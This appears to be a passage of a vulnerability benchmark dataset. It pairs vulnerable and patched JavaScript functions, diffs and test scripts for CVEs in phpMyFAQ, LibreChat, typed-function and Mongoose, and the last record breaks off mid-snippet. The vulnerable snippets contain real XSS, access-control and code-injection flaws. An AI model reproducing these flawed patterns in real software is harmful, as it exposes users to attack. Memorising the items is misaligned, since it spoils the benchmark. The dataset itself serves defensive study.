{"cve_id": "CVE-2023-0792", "cve_description": "Code Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11.\n\n", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/thorsten/phpmyfaq", "patch_url": ["https://github.com/thorsten/phpmyfaq/commit/d8964568d69488de02f0a0a58acc822eeb5c3cb1"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_98_1", "commit": "00c0409", "file_path": "phpmyfaq/admin/assets/js/tags.js", "start_line": "16", "end_line": "58", "snippet": "document.addEventListener('DOMContentLoaded', () => {\n  'use strict';\n\n  $('.btn-edit').on('click', function () {\n    const id = $(this).data('btn-id');\n    const span = $('span[data-tag-id=\"' + id + '\"]');\n\n    if (span.length > 0) {\n      span.replaceWith('<input name=\"tag\" class=\"form-control\" data-tag-id=\"' + id + '\" value=\"' + span.html() + '\">');\n    } else {\n      const input = $('input[data-tag-id=\"' + id + '\"]');\n      input.replaceWith('<span data-tag-id=\"' + id + '\">' + input.val().replace(/\\//g, '&#x2F;') + '</span>');\n    }\n  });\n\n  $('.tag-form').bind('submit', function (event) {\n    event.preventDefault();\n\n    const input = $('input[data-tag-id]:focus');\n    const id = input.data('tag-id');\n    const tag = input.val();\n    const csrf = $('input[name=csrf]').val();\n\n    $.ajax({\n      url: 'index.php?action=ajax&ajax=tags&ajaxaction=update',\n      type: 'POST',\n      data: 'id=' + id + '&tag=' + tag + '&csrf=' + csrf,\n      dataType: 'json',\n      beforeSend: function () {\n        $('#pmf-admin-saving-data-indicator').html(\n          '<i class=\"fa fa-cog fa-spin fa-fw\"></i><span class=\"sr-only\">Saving ...</span>'\n        );\n      },\n      success: function (message) {\n        input.replaceWith('<span data-tag-id=\"' + id + '\">' + input.val().replace(/\\//g, '&#x2F;') + '</span>');\n        $('span[data-tag-id=\"' + id + '\"]');\n        $('#pmf-admin-saving-data-indicator').html(message);\n      },\n    });\n\n    return false;\n  });\n});"}], "fix_func": [{"id": "fix_js_98_1", "commit": "d896456", "file_path": "phpmyfaq/admin/assets/js/tags.js", "start_line": "16", "end_line": "62", "snippet": "document.addEventListener('DOMContentLoaded', () => {\n  'use strict';\n\n  $('.btn-edit').on('click', function () {\n    const id = $(this).data('btn-id');\n    const span = $('span[data-tag-id=\"' + id + '\"]');\n\n    if (span.length > 0) {\n      span.replaceWith('<input name=\"tag\" class=\"form-control\" data-tag-id=\"' + id + '\" value=\"' + span.html() + '\">');\n    } else {\n      const input = $('input[data-tag-id=\"' + id + '\"]');\n      input.replaceWith('<span data-tag-id=\"' + id + '\">' + input.val().replace(/\\//g, '&#x2F;') + '</span>');\n    }\n  });\n\n  $('.tag-form').bind('submit', function (event) {\n    event.preventDefault();\n\n    const input = $('input[data-tag-id]:focus');\n    const id = input.data('tag-id');\n    const tag = input.val();\n    const csrf = $('input[name=csrf]').val();\n\n    const escape = (unsafe) => {\n      return unsafe.replaceAll('&', '&amp;').replaceAll('<', '&lt;').replaceAll('>', '&gt;').replaceAll('\"', '&quot;').replaceAll(\"'\", '&#039;');\n    }\n\n    $.ajax({\n      url: 'index.php?action=ajax&ajax=tags&ajaxaction=update',\n      type: 'POST',\n      data: 'id=' + id + '&tag=' + tag + '&csrf=' + csrf,\n      dataType: 'json',\n      beforeSend: function () {\n        $('#pmf-admin-saving-data-indicator').html(\n          '<i class=\"fa fa-cog fa-spin fa-fw\"></i><span class=\"sr-only\">Saving ...</span>'\n        );\n      },\n      success: function (message) {\n        input.replaceWith('<span data-tag-id=\"' + id + '\">' + escape(input.val().replace(/\\//g, '&#x2F;')) + '</span>');\n        $('span[data-tag-id=\"' + id + '\"]');\n        $('#pmf-admin-saving-data-indicator').html(message);\n      },\n    });\n\n    return false;\n  });\n});"}], "vul_patch": "--- a/phpmyfaq/admin/assets/js/tags.js\n+++ b/phpmyfaq/admin/assets/js/tags.js\n@@ -21,6 +21,10 @@\n     const tag = input.val();\n     const csrf = $('input[name=csrf]').val();\n \n+    const escape = (unsafe) => {\n+      return unsafe.replaceAll('&', '&amp;').replaceAll('<', '&lt;').replaceAll('>', '&gt;').replaceAll('\"', '&quot;').replaceAll(\"'\", '&#039;');\n+    }\n+\n     $.ajax({\n       url: 'index.php?action=ajax&ajax=tags&ajaxaction=update',\n       type: 'POST',\n@@ -32,7 +36,7 @@\n         );\n       },\n       success: function (message) {\n-        input.replaceWith('<span data-tag-id=\"' + id + '\">' + input.val().replace(/\\//g, '&#x2F;') + '</span>');\n+        input.replaceWith('<span data-tag-id=\"' + id + '\">' + escape(input.val().replace(/\\//g, '&#x2F;')) + '</span>');\n         $('span[data-tag-id=\"' + id + '\"]');\n         $('#pmf-admin-saving-data-indicator').html(message);\n       },\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-10366", "cve_description": "An improper access control vulnerability (IDOR) exists in the delete attachments functionality of danny-avila/librechat version v0.7.5-rc2. The endpoint does not verify whether the provided attachment ID belongs to the current user, allowing any authenticated user to delete attachments of other users.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/danny-avila/librechat", "patch_url": ["https://github.com/danny-avila/librechat/commit/a350443661d001ac55787741969a75d94ca14116"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_259_1", "commit": "e3e52402f69accc35c6d0acd9c3266ae1cb6333f", "file_path": "api/server/routes/files/files.js", "start_line": 44, "end_line": 82, "snippet": "router.delete('/', async (req, res) => {\n  try {\n    const { files: _files } = req.body;\n\n    /** @type {MongoFile[]} */\n    const files = _files.filter((file) => {\n      if (!file.file_id) {\n        return false;\n      }\n      if (!file.filepath) {\n        return false;\n      }\n\n      if (/^(file|assistant)-/.test(file.file_id)) {\n        return true;\n      }\n\n      return isUUID.safeParse(file.file_id).success;\n    });\n\n    if (files.length === 0) {\n      res.status(204).json({ message: 'Nothing provided to delete' });\n      return;\n    }\n\n    await processDeleteRequest({ req, files });\n\n    logger.debug(\n      `[/files] Files deleted successfully: ${files\n        .filter((f) => f.file_id)\n        .map((f) => f.file_id)\n        .join(', ')}`,\n    );\n    res.status(200).json({ message: 'Files deleted successfully' });\n  } catch (error) {\n    logger.error('[/files] Error deleting files:', error);\n    res.status(400).json({ message: 'Error in request', error: error.message });\n  }\n});"}], "fix_func": [{"id": "fix_js_259_1", "commit": "a350443661d001ac55787741969a75d94ca14116", "file_path": "api/server/routes/files/files.js", "start_line": 44, "end_line": 88, "snippet": "router.delete('/', async (req, res) => {\n  try {\n    const { files: _files } = req.body;\n\n    /** @type {MongoFile[]} */\n    const files = _files.filter((file) => {\n      if (!file.file_id) {\n        return false;\n      }\n      if (!file.filepath) {\n        return false;\n      }\n\n      if (/^(file|assistant)-/.test(file.file_id)) {\n        return true;\n      }\n\n      return isUUID.safeParse(file.file_id).success;\n    });\n\n    if (files.length === 0) {\n      res.status(204).json({ message: 'Nothing provided to delete' });\n      return;\n    }\n\n    const fileIds = files.map((file) => file.file_id);\n    const userFiles = await getFiles({ file_id: { $in: fileIds }, user: req.user.id });\n    if (userFiles.length !== files.length) {\n      return res.status(403).json({ message: 'You can only delete your own files' });\n    }\n\n    await processDeleteRequest({ req, files: userFiles });\n\n    logger.debug(\n      `[/files] Files deleted successfully: ${files\n        .filter((f) => f.file_id)\n        .map((f) => f.file_id)\n        .join(', ')}`,\n    );\n    res.status(200).json({ message: 'Files deleted successfully' });\n  } catch (error) {\n    logger.error('[/files] Error deleting files:', error);\n    res.status(400).json({ message: 'Error in request', error: error.message });\n  }\n});"}], "vul_patch": "--- a/api/server/routes/files/files.js\n+++ b/api/server/routes/files/files.js\n@@ -23,7 +23,13 @@\n       return;\n     }\n \n-    await processDeleteRequest({ req, files });\n+    const fileIds = files.map((file) => file.file_id);\n+    const userFiles = await getFiles({ file_id: { $in: fileIds }, user: req.user.id });\n+    if (userFiles.length !== files.length) {\n+      return res.status(403).json({ message: 'You can only delete your own files' });\n+    }\n+\n+    await processDeleteRequest({ req, files: userFiles });\n \n     logger.debug(\n       `[/files] Files deleted successfully: ${files\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-1001004", "cve_description": "typed-function before 0.10.6 had an arbitrary code execution in the JavaScript engine. Creating a typed function with JavaScript code in the name could result arbitrary execution.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/josdejong/typed-function", "patch_url": ["https://github.com/josdejong/typed-function/commit/6478ef4f2c3f3c2d9f2c820e2db4b4ba3425e6fe"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_66_1", "commit": "9a8cac3", "file_path": "typed-function.js", "start_line": 1079, "end_line": 1124, "snippet": "    function _typed(name, signatures) {\n      var refs = new Refs();\n\n      // parse signatures, expand them\n      var _signatures = parseSignatures(signatures);\n      if (_signatures.length == 0) {\n        throw new Error('No signatures provided');\n      }\n\n      // filter all any type signatures\n      var anys = filterAnyTypeSignatures(_signatures);\n\n      // parse signatures into a node tree\n      var node = parseTree(_signatures, [], anys);\n\n      //var util = require('util');\n      //console.log('ROOT');\n      //console.log(util.inspect(node, { depth: null }));\n\n      // generate code for the typed function\n      var code = [];\n      var _name = name || '';\n      var _args = getArgs(maxParams(_signatures));\n      code.push('function ' + _name + '(' + _args.join(', ') + ') {');\n      code.push('  \"use strict\";');\n      code.push('  var name = \\'' + _name + '\\';');\n      code.push(node.toCode(refs, '  ', false));\n      code.push('}');\n\n      // generate body for the factory function\n      var body = [\n        refs.toCode(),\n        'return ' + code.join('\\n')\n      ].join('\\n');\n\n      // evaluate the JavaScript code and attach function references\n      var factory = (new Function(refs.name, 'createError', body));\n      var fn = factory(refs, createError);\n\n      //console.log('FN\\n' + fn.toString()); // TODO: cleanup\n\n      // attach the signatures with sub-functions to the constructed function\n      fn.signatures = mapSignatures(_signatures);\n\n      return fn;\n    }"}], "fix_func": [{"id": "fix_js_66_1", "commit": "6478ef4f2c3f3c2d9f2c820e2db4b4ba3425e6fe", "file_path": "typed-function.js", "start_line": 1079, "end_line": 1127, "snippet": "    function _typed(name, signatures) {\n      var refs = new Refs();\n\n      // parse signatures, expand them\n      var _signatures = parseSignatures(signatures);\n      if (_signatures.length == 0) {\n        throw new Error('No signatures provided');\n      }\n\n      // filter all any type signatures\n      var anys = filterAnyTypeSignatures(_signatures);\n\n      // parse signatures into a node tree\n      var node = parseTree(_signatures, [], anys);\n\n      //var util = require('util');\n      //console.log('ROOT');\n      //console.log(util.inspect(node, { depth: null }));\n\n      // generate code for the typed function\n      // safeName is a conservative replacement of characters \n      // to prevend being able to inject JS code at the place of the function name \n      // the name is useful for stack trackes therefore we want have it there\n      var code = [];\n      var safeName = (name || '').replace(/[^a-zA-Z0-9_$]/g, '_')\n      var args = getArgs(maxParams(_signatures));\n      code.push('function ' + safeName + '(' + args.join(', ') + ') {');\n      code.push('  \"use strict\";');\n      code.push('  var name = ' + JSON.stringify(name || '') + ';');\n      code.push(node.toCode(refs, '  ', false));\n      code.push('}');\n\n      // generate body for the factory function\n      var body = [\n        refs.toCode(),\n        'return ' + code.join('\\n')\n      ].join('\\n');\n\n      // evaluate the JavaScript code and attach function references\n      var factory = (new Function(refs.name, 'createError', body));\n      var fn = factory(refs, createError);\n\n      //console.log('FN\\n' + fn.toString()); // TODO: cleanup\n\n      // attach the signatures with sub-functions to the constructed function\n      fn.signatures = mapSignatures(_signatures);\n\n      return fn;\n    }"}], "vul_patch": "--- a/typed-function.js\n+++ b/typed-function.js\n@@ -18,12 +18,15 @@\n       //console.log(util.inspect(node, { depth: null }));\n \n       // generate code for the typed function\n+      // safeName is a conservative replacement of characters \n+      // to prevend being able to inject JS code at the place of the function name \n+      // the name is useful for stack trackes therefore we want have it there\n       var code = [];\n-      var _name = name || '';\n-      var _args = getArgs(maxParams(_signatures));\n-      code.push('function ' + _name + '(' + _args.join(', ') + ') {');\n+      var safeName = (name || '').replace(/[^a-zA-Z0-9_$]/g, '_')\n+      var args = getArgs(maxParams(_signatures));\n+      code.push('function ' + safeName + '(' + args.join(', ') + ') {');\n       code.push('  \"use strict\";');\n-      code.push('  var name = \\'' + _name + '\\';');\n+      code.push('  var name = ' + JSON.stringify(name || '') + ';');\n       code.push(node.toCode(refs, '  ', false));\n       code.push('}');\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-1001004:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/typed-function\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"should not allow bad code in the function name\" test/security.test.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-1001004:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/typed-function\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --timeout 3000 test/"}
{"cve_id": "CVE-2024-53900", "cve_description": "Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/Automattic/mongoose", "patch_url": ["https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156", "https://github.com/Automattic/mongoose/commit/33679bcf8ca43d74e3e8ecd4cc224826772d805b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_4_1", "commit": "b34aba6", "file_path": "lib/helpers/populate/getModelsMapForPopulate.js", "start_line": 21, "end_line": 351, "snippet": "module.exports = function getModelsMapForPopulate(model, docs, options) {\n  let doc;\n  const len = docs.length;\n  const map = [];\n  const modelNameFromQuery = options.model && options.model.modelName || options.model;\n  let schema;\n  let refPath;\n  let modelNames;\n  const available = {};\n\n  const modelSchema = model.schema;\n\n  // Populating a nested path should always be a no-op re: #9073.\n  // People shouldn't do this, but apparently they do.\n  if (options._localModel != null && options._localModel.schema.nested[options.path]) {\n    return [];\n  }\n\n  const _virtualRes = getVirtual(model.schema, options.path);\n  const virtual = _virtualRes == null ? null : _virtualRes.virtual;\n  if (virtual != null) {\n    return _virtualPopulate(model, docs, options, _virtualRes);\n  }\n\n  let allSchemaTypes = getSchemaTypes(model, modelSchema, null, options.path);\n  allSchemaTypes = Array.isArray(allSchemaTypes) ? allSchemaTypes : [allSchemaTypes].filter(v => v != null);\n\n  const isStrictPopulateDisabled = options.strictPopulate === false || options.options?.strictPopulate === false;\n  if (!isStrictPopulateDisabled && allSchemaTypes.length === 0 && options._localModel != null) {\n    return new StrictPopulate(options._fullPath || options.path);\n  }\n\n  for (let i = 0; i < len; i++) {\n    doc = docs[i];\n    let justOne = null;\n\n    const docSchema = doc != null && doc.$__ != null ? doc.$__schema : modelSchema;\n    schema = getSchemaTypes(model, docSchema, doc, options.path);\n\n    // Special case: populating a path that's a DocumentArray unless\n    // there's an explicit `ref` or `refPath` re: gh-8946\n    if (schema != null &&\n        schema.$isMongooseDocumentArray &&\n        schema.options.ref == null &&\n        schema.options.refPath == null) {\n      continue;\n    }\n    const isUnderneathDocArray = schema && schema.$parentSchemaDocArray;\n    if (isUnderneathDocArray && get(options, 'options.sort') != null) {\n      return new MongooseError('Cannot populate with `sort` on path ' + options.path +\n        ' because it is a subproperty of a document array');\n    }\n\n    modelNames = null;\n    let isRefPath = false;\n    let normalizedRefPath = null;\n    let schemaOptions = null;\n    let modelNamesInOrder = null;\n\n    if (schema != null && schema.instance === 'Embedded') {\n      if (schema.options.ref) {\n        const data = {\n          localField: options.path + '._id',\n          foreignField: '_id',\n          justOne: true\n        };\n        const res = _getModelNames(doc, schema, modelNameFromQuery, model);\n\n        const unpopulatedValue = mpath.get(options.path, doc);\n        const id = mpath.get('_id', unpopulatedValue);\n        addModelNamesToMap(model, map, available, res.modelNames, options, data, id, doc, schemaOptions, unpopulatedValue);\n      }\n      // No-op if no `ref` set. See gh-11538\n      continue;\n    }\n\n    if (Array.isArray(schema)) {\n      const schemasArray = schema;\n      for (const _schema of schemasArray) {\n        let _modelNames;\n        let res;\n        try {\n          res = _getModelNames(doc, _schema, modelNameFromQuery, model);\n          _modelNames = res.modelNames;\n          isRefPath = isRefPath || res.isRefPath;\n          normalizedRefPath = normalizedRefPath || res.refPath;\n          justOne = res.justOne;\n        } catch (error) {\n          return error;\n        }\n\n        if (isRefPath && !res.isRefPath) {\n          continue;\n        }\n        if (!_modelNames) {\n          continue;\n        }\n        modelNames = modelNames || [];\n        for (const modelName of _modelNames) {\n          if (modelNames.indexOf(modelName) === -1) {\n            modelNames.push(modelName);\n          }\n        }\n      }\n    } else {\n      try {\n        const res = _getModelNames(doc, schema, modelNameFromQuery, model);\n        modelNames = res.modelNames;\n        isRefPath = res.isRefPath;\n        normalizedRefPath = normalizedRefPath || res.refPath;\n        justOne = res.justOne;\n        schemaOptions = get(schema, 'options.populate', null);\n        // Dedupe, because `refPath` can return duplicates of the same model name,\n        // and that causes perf issues.\n        if (isRefPath) {\n          modelNamesInOrder = modelNames;\n          modelNames = Array.from(new Set(modelNames));\n        }\n      } catch (error) {\n        return error;\n      }\n\n      if (!modelNames) {\n        continue;\n      }\n    }\n\n    const data = {};\n    const localField = options.path;\n    const foreignField = '_id';\n\n    // `justOne = null` means we don't know from the schema whether the end\n    // result should be an array or a single doc. This can result from\n    // populating a POJO using `Model.populate()`\n    if ('justOne' in options && options.justOne !== void 0) {\n      justOne = options.justOne;\n    } else if (schema && !schema[schemaMixedSymbol]) {\n      // Skip Mixed types because we explicitly don't do casting on those.\n      if (options.path.endsWith('.' + schema.path) || options.path === schema.path) {\n        justOne = Array.isArray(schema) ?\n          schema.every(schema => !schema.$isMongooseArray) :\n          !schema.$isMongooseArray;\n      }\n    }\n\n    if (!modelNames) {\n      continue;\n    }\n\n    data.isVirtual = false;\n    data.justOne = justOne;\n    data.localField = localField;\n    data.foreignField = foreignField;\n\n    // Get local fields\n    const ret = _getLocalFieldValues(doc, localField, model, options, null, schema);\n\n    const id = String(utils.getValue(foreignField, doc));\n    options._docs[id] = Array.isArray(ret) ? ret.slice() : ret;\n\n    let match = get(options, 'match', null);\n\n    const hasMatchFunction = typeof match === 'function';\n    if (hasMatchFunction) {\n      match = match.call(doc, doc);\n    }\n    data.match = match;\n    data.hasMatchFunction = hasMatchFunction;\n    data.isRefPath = isRefPath;\n    data.modelNamesInOrder = modelNamesInOrder;\n\n    if (isRefPath) {\n      const embeddedDiscriminatorModelNames = _findRefPathForDiscriminators(doc,\n        modelSchema, data, options, normalizedRefPath, ret);\n\n      modelNames = embeddedDiscriminatorModelNames || modelNames;\n    }\n\n    try {\n      addModelNamesToMap(model, map, available, modelNames, options, data, ret, doc, schemaOptions);\n    } catch (err) {\n      return err;\n    }\n  }\n  return map;\n\n  function _getModelNames(doc, schema, modelNameFromQuery, model) {\n    let modelNames;\n    let isRefPath = false;\n    let justOne = null;\n\n    const originalSchema = schema;\n    if (schema && schema.instance === 'Array') {\n      schema = schema.caster;\n    }\n    if (schema && schema.$isSchemaMap) {\n      schema = schema.$__schemaType;\n    }\n\n    const ref = schema && schema.options && schema.options.ref;\n    refPath = schema && schema.options && schema.options.refPath;\n    if (schema != null &&\n        schema[schemaMixedSymbol] &&\n        !ref &&\n        !refPath &&\n        !modelNameFromQuery) {\n      return { modelNames: null };\n    }\n\n    if (modelNameFromQuery) {\n      modelNames = [modelNameFromQuery]; // query options\n    } else if (refPath != null) {\n      if (typeof refPath === 'function') {\n        const subdocPath = options.path.slice(0, options.path.length - schema.path.length - 1);\n        const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n        const subdocsBeingPopulated = Array.isArray(vals) ?\n          utils.array.flatten(vals) :\n          (vals ? [vals] : []);\n\n        modelNames = new Set();\n        for (const subdoc of subdocsBeingPopulated) {\n          refPath = refPath.call(subdoc, subdoc, options.path);\n          modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n            forEach(name => modelNames.add(name));\n        }\n        modelNames = Array.from(modelNames);\n      } else {\n        modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n      }\n\n      isRefPath = true;\n    } else {\n      let ref;\n      let refPath;\n      let schemaForCurrentDoc;\n      let discriminatorValue;\n      let modelForCurrentDoc = model;\n      const discriminatorKey = model.schema.options.discriminatorKey;\n\n      if (!schema && discriminatorKey && (discriminatorValue = utils.getValue(discriminatorKey, doc))) {\n        // `modelNameForFind` is the discriminator value, so we might need\n        // find the discriminated model name\n        const discriminatorModel = getDiscriminatorByValue(model.discriminators, discriminatorValue) || model;\n        if (discriminatorModel != null) {\n          modelForCurrentDoc = discriminatorModel;\n        } else {\n          try {\n            modelForCurrentDoc = _getModelFromConn(model.db, discriminatorValue);\n          } catch (error) {\n            return error;\n          }\n        }\n\n        schemaForCurrentDoc = modelForCurrentDoc.schema._getSchema(options.path);\n\n        if (schemaForCurrentDoc && schemaForCurrentDoc.caster) {\n          schemaForCurrentDoc = schemaForCurrentDoc.caster;\n        }\n      } else {\n        schemaForCurrentDoc = schema;\n      }\n\n      if (originalSchema && originalSchema.path.endsWith('.$*')) {\n        justOne = !originalSchema.$isMongooseArray && !originalSchema._arrayPath;\n      } else if (schemaForCurrentDoc != null) {\n        justOne = !schemaForCurrentDoc.$isMongooseArray && !schemaForCurrentDoc._arrayPath;\n      }\n\n      if ((ref = get(schemaForCurrentDoc, 'options.ref')) != null) {\n        if (schemaForCurrentDoc != null &&\n            typeof ref === 'function' &&\n            options.path.endsWith('.' + schemaForCurrentDoc.path)) {\n          // Ensure correct context for ref functions: subdoc, not top-level doc. See gh-8469\n          modelNames = new Set();\n\n          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n          const subdocsBeingPopulated = Array.isArray(vals) ?\n            utils.array.flatten(vals) :\n            (vals ? [vals] : []);\n          for (const subdoc of subdocsBeingPopulated) {\n            modelNames.add(handleRefFunction(ref, subdoc));\n          }\n\n          if (subdocsBeingPopulated.length === 0) {\n            modelNames = [handleRefFunction(ref, doc)];\n          } else {\n            modelNames = Array.from(modelNames);\n          }\n        } else {\n          ref = handleRefFunction(ref, doc);\n          modelNames = [ref];\n        }\n      } else if ((schemaForCurrentDoc = get(schema, 'options.refPath')) != null) {\n        isRefPath = true;\n        if (typeof refPath === 'function') {\n          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n          const subdocsBeingPopulated = Array.isArray(vals) ?\n            utils.array.flatten(vals) :\n            (vals ? [vals] : []);\n\n          modelNames = new Set();\n          for (const subdoc of subdocsBeingPopulated) {\n            refPath = refPath.call(subdoc, subdoc, options.path);\n            modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n              forEach(name => modelNames.add(name));\n          }\n          modelNames = Array.from(modelNames);\n        } else {\n          modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n        }\n      }\n    }\n\n    if (!modelNames) {\n      // `Model.populate()` on a POJO with no known local model. Default to using the `Model`\n      if (options._localModel == null) {\n        modelNames = [model.modelName];\n      } else {\n        return { modelNames: modelNames, justOne: justOne, isRefPath: isRefPath, refPath: refPath };\n      }\n    }\n\n    if (!Array.isArray(modelNames)) {\n      modelNames = [modelNames];\n    }\n\n    return { modelNames: modelNames, justOne: justOne, isRefPath: isRefPath, refPath: refPath };\n  }\n};"}, {"id": "vul_js_4_2", "commit": "b34aba6", "file_path": "lib/helpers/populate/getModelsMapForPopulate.js", "start_line": 357, "end_line": 461, "snippet": "function _virtualPopulate(model, docs, options, _virtualRes) {\n  const map = [];\n  const available = {};\n  const virtual = _virtualRes.virtual;\n\n  for (const doc of docs) {\n    let modelNames = null;\n    const data = {};\n\n    // localField and foreignField\n    let localField;\n    const virtualPrefix = _virtualRes.nestedSchemaPath ?\n      _virtualRes.nestedSchemaPath + '.' : '';\n    if (typeof options.localField === 'string') {\n      localField = options.localField;\n    } else if (typeof virtual.options.localField === 'function') {\n      localField = virtualPrefix + virtual.options.localField.call(doc, doc);\n    } else if (Array.isArray(virtual.options.localField)) {\n      localField = virtual.options.localField.map(field => virtualPrefix + field);\n    } else {\n      localField = virtualPrefix + virtual.options.localField;\n    }\n    data.count = virtual.options.count;\n\n    if (virtual.options.skip != null && !options.hasOwnProperty('skip')) {\n      options.skip = virtual.options.skip;\n    }\n    if (virtual.options.limit != null && !options.hasOwnProperty('limit')) {\n      options.limit = virtual.options.limit;\n    }\n    if (virtual.options.perDocumentLimit != null && !options.hasOwnProperty('perDocumentLimit')) {\n      options.perDocumentLimit = virtual.options.perDocumentLimit;\n    }\n    let foreignField = virtual.options.foreignField;\n\n    if (!localField || !foreignField) {\n      return new MongooseError(`Cannot populate virtual \\`${options.path}\\` on model \\`${model.modelName}\\`, because options \\`localField\\` and / or \\`foreignField\\` are missing`);\n    }\n\n    if (typeof localField === 'function') {\n      localField = localField.call(doc, doc);\n    }\n    if (typeof foreignField === 'function') {\n      foreignField = foreignField.call(doc, doc);\n    }\n\n    data.isRefPath = false;\n\n    // `justOne = null` means we don't know from the schema whether the end\n    // result should be an array or a single doc. This can result from\n    // populating a POJO using `Model.populate()`\n    let justOne = null;\n    if ('justOne' in options && options.justOne !== void 0) {\n      justOne = options.justOne;\n    }\n\n    modelNames = virtual._getModelNamesForPopulate(doc);\n    if (virtual.options.refPath) {\n      justOne = !!virtual.options.justOne;\n      data.isRefPath = true;\n    } else if (virtual.options.ref) {\n      justOne = !!virtual.options.justOne;\n    }\n\n    data.isVirtual = true;\n    data.virtual = virtual;\n    data.justOne = justOne;\n\n    // `match`\n    const baseMatch = get(data, 'virtual.options.match', null) ||\n      get(data, 'virtual.options.options.match', null);\n    let match = get(options, 'match', null) || baseMatch;\n\n    let hasMatchFunction = typeof match === 'function';\n    if (hasMatchFunction) {\n      match = match.call(doc, doc, data.virtual);\n    }\n\n    if (Array.isArray(localField) && Array.isArray(foreignField) && localField.length === foreignField.length) {\n      match = Object.assign({}, match);\n      for (let i = 1; i < localField.length; ++i) {\n        match[foreignField[i]] = convertTo_id(mpath.get(localField[i], doc, lookupLocalFields), model.schema);\n        hasMatchFunction = true;\n      }\n\n      localField = localField[0];\n      foreignField = foreignField[0];\n    }\n    data.localField = localField;\n    data.foreignField = foreignField;\n    data.match = match;\n    data.hasMatchFunction = hasMatchFunction;\n\n    // Get local fields\n    const ret = _getLocalFieldValues(doc, localField, model, options, virtual);\n\n    try {\n      addModelNamesToMap(model, map, available, modelNames, options, data, ret, doc);\n    } catch (err) {\n      return err;\n    }\n  }\n\n  return map;\n}"}], "fix_func": [{"id": "fix_js_4_1", "commit": "c9e86bf", "file_path": "lib/helpers/populate/getModelsMapForPopulate.js", "start_line": 21, "end_line": 360, "snippet": "module.exports = function getModelsMapForPopulate(model, docs, options) {\n  let doc;\n  const len = docs.length;\n  const map = [];\n  const modelNameFromQuery = options.model && options.model.modelName || options.model;\n  let schema;\n  let refPath;\n  let modelNames;\n  const available = {};\n\n  const modelSchema = model.schema;\n\n  // Populating a nested path should always be a no-op re: #9073.\n  // People shouldn't do this, but apparently they do.\n  if (options._localModel != null && options._localModel.schema.nested[options.path]) {\n    return [];\n  }\n\n  const _virtualRes = getVirtual(model.schema, options.path);\n  const virtual = _virtualRes == null ? null : _virtualRes.virtual;\n  if (virtual != null) {\n    return _virtualPopulate(model, docs, options, _virtualRes);\n  }\n\n  let allSchemaTypes = getSchemaTypes(model, modelSchema, null, options.path);\n  allSchemaTypes = Array.isArray(allSchemaTypes) ? allSchemaTypes : [allSchemaTypes].filter(v => v != null);\n\n  const isStrictPopulateDisabled = options.strictPopulate === false || options.options?.strictPopulate === false;\n  if (!isStrictPopulateDisabled && allSchemaTypes.length === 0 && options._localModel != null) {\n    return new StrictPopulate(options._fullPath || options.path);\n  }\n\n  for (let i = 0; i < len; i++) {\n    doc = docs[i];\n    let justOne = null;\n\n    const docSchema = doc != null && doc.$__ != null ? doc.$__schema : modelSchema;\n    schema = getSchemaTypes(model, docSchema, doc, options.path);\n\n    // Special case: populating a path that's a DocumentArray unless\n    // there's an explicit `ref` or `refPath` re: gh-8946\n    if (schema != null &&\n        schema.$isMongooseDocumentArray &&\n        schema.options.ref == null &&\n        schema.options.refPath == null) {\n      continue;\n    }\n    const isUnderneathDocArray = schema && schema.$parentSchemaDocArray;\n    if (isUnderneathDocArray && get(options, 'options.sort') != null) {\n      return new MongooseError('Cannot populate with `sort` on path ' + options.path +\n        ' because it is a subproperty of a document array');\n    }\n\n    modelNames = null;\n    let isRefPath = false;\n    let normalizedRefPath = null;\n    let schemaOptions = null;\n    let modelNamesInOrder = null;\n\n    if (schema != null && schema.instance === 'Embedded') {\n      if (schema.options.ref) {\n        const data = {\n          localField: options.path + '._id',\n          foreignField: '_id',\n          justOne: true\n        };\n        const res = _getModelNames(doc, schema, modelNameFromQuery, model);\n\n        const unpopulatedValue = mpath.get(options.path, doc);\n        const id = mpath.get('_id', unpopulatedValue);\n        addModelNamesToMap(model, map, available, res.modelNames, options, data, id, doc, 